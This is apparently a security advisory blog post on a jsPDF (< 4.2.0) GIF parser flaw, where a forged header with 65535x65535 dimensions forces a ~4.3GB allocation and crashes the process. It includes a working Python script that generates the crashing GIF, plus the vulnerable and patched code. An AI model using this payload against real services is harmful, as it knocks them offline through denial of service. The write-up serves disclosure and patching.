Feb 19, 2026·5 min read·6 visits
jsPDF < 4.2.0 trusts GIF headers blindly. A 50-byte malicious GIF can claim to be 4GB in size. When jsPDF tries to render it, it allocates memory based on those claims. Result: Instant Out-of-Memory (OOM) crash for Node.js backends or browser tabs.
A logic flaw in jsPDF's bundled GIF parser allows attackers to trigger a massive memory allocation by manipulating image headers. By specifying a canvas size of 65535x65535 in a tiny GIF file, an attacker can force the application to attempt a ~4.3GB contiguous memory allocation, crashing the process immediately.
We all love client-side PDF generation. It shifts the compute cost from your expensive cloud servers to the user's browser, and it feels instantaneous. jsPDF is the titan of this arena, powering everything from invoice generators to concert ticket downloads. But here is the thing about parsing binary file formats in JavaScript: it is a high-wire act performed without a safety net.
To support images, jsPDF doesn't just stick a JPEG byte stream into the PDF container; it often needs to decode, analyze, and re-encode image data. For GIFs, it relies on a bundled version of omggif. And like many legacy parsers written in the early days of the Node ecosystem, omggif makes a classic mistake: it trusts the file header.
If I hand you a file that says "I am 10 pixels wide," you believe it. If I hand you a file that says "I am 65,535 pixels wide," a robust library should ask, "Are you sure about that?" jsPDF did not ask. It just opened its mouth and tried to swallow the ocean.
The vulnerability lies in how omggif (embedded within src/libs/omggif.js in jsPDF) handles the Logical Screen Descriptor of a GIF file. The GIF format specification defines offsets 6 and 8 as the Logical Screen Width and Height, respectively. These are unsigned 16-bit integers.
This means the maximum value for width or height is 0xFFFF, or 65,535. Now, 65k pixels doesn't sound like that much in the age of 4K monitors, until you do the math on the memory required to store the pixel buffer.
The library calculates the buffer size needed for a frame by multiplying width by height. It does not check if the resulting number is sane, nor does it check if the compressed image data actually contains enough pixels to fill that buffer. It simply reserves the memory upfront. This is a classic "Allocation of Resources Without Limits" (CWE-770), but in the context of a high-level language like JS, it manifests as a hard crash rather than a buffer overflow.
Let's look at the crime scene in src/libs/omggif.js. The function decodeAndBlitFrameBGRA is responsible for setting up the buffer to decode the GIF frame. Here is the logic prior to version 4.2.0:
this.decodeAndBlitFrameBGRA = function(frame_num, pixels) {
var frame = this.frameInfo(frame_num);
// The vulnerability is right here:
var num_pixels = frame.width * frame.height;
// Allocating the buffer based solely on header math
var index_stream = new Uint8Array(num_pixels);
// ... decoding logic follows ...
};Do you see the issue? frame.width and frame.height are taken directly from the binary parser. If an attacker sets both to 65,535, num_pixels becomes approximately 4,294,836,225.
In V8 (the engine behind Chrome and Node.js), a Uint8Array requires a contiguous block of memory. When the code executes new Uint8Array(4294836225), it is asking the runtime for roughly 4.29 GB of RAM in a single chunk. Even on a machine with 64GB of RAM, V8's heap limit (typically ~2GB to 4GB depending on flags) will likely reject this allocation immediately, throwing a RangeError: Array buffer allocation failed or simply crashing the process with an OOM killer event.
To exploit this, we don't need to generate a valid 4GB GIF. We just need a valid GIF header that lies about its size. The actual image data can be a single empty block. The parser crashes at the allocation step, long before it realizes the image data is missing.
Here is a Python script to generate the "GIF of Death":
# exploit.py
# Generates a GIF with 65535x65535 logical screen size
header = b'GIF89a'
width = b'\xFF\xFF' # 65535
height = b'\xFF\xFF' # 65535
flags = b'\x80' # Global Color Table Flag set
bg_color = b'\x00'
pixel_ratio = b'\x00'
# Minimal color table and trailer to satisfy basic parsing until the crash
payload = header + width + height + flags + bg_color + pixel_ratio
payload += b'\x00\x00\x00' * 2 # Color table
payload += b';' # Trailer
with open('death.gif', 'wb') as f:
f.write(payload)
print(f"Generated death.gif ({len(payload)} bytes)")When a user uploads this file to an endpoint using jsPDF.addImage(fileData), or if a client-side app attempts to render it, the application creates the Uint8Array and dies. In a Node.js server generating PDFs (e.g., for reports), this is a trivial Denial of Service. A single request kills the thread.
The maintainers fixed this in version 4.2.0 (specifically commit 2e5e156e284d92c7d134bce97e6418756941d5e6) by adding a sanity check. They decided that 512 megapixels ought to be enough for anyone.
// The Fix
var num_pixels = frame.width * frame.height;
// Hard limit check
if (num_pixels > 512 * 1024 * 1024) {
throw new Error("Image dimensions exceed 512MB, which is too large.");
}
var index_stream = new Uint8Array(num_pixels);While 512 million pixels is still a massive allocation (approx 512MB), it is generally within the safe bounds of a V8 heap allocation, preventing the immediate crash. This changes the outcome from "Process Termination" to "Caught Exception," allowing the application to handle the error gracefully.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
jsPDF parallax | < 4.2.0 | 4.2.0 |
| Attribute | Detail |
|---|---|
| CWE | CWE-770 (Allocation of Resources Without Limits) |
| CVSS v4.0 | 8.7 (High) |
| Attack Vector | Network (User uploaded image) |
| Impact | Availability (DoS via OOM) |
| Exploit Complexity | Low (Simple file header modification) |
| Privileges Required | None |
Allocation of Resources Without Limits or Throttling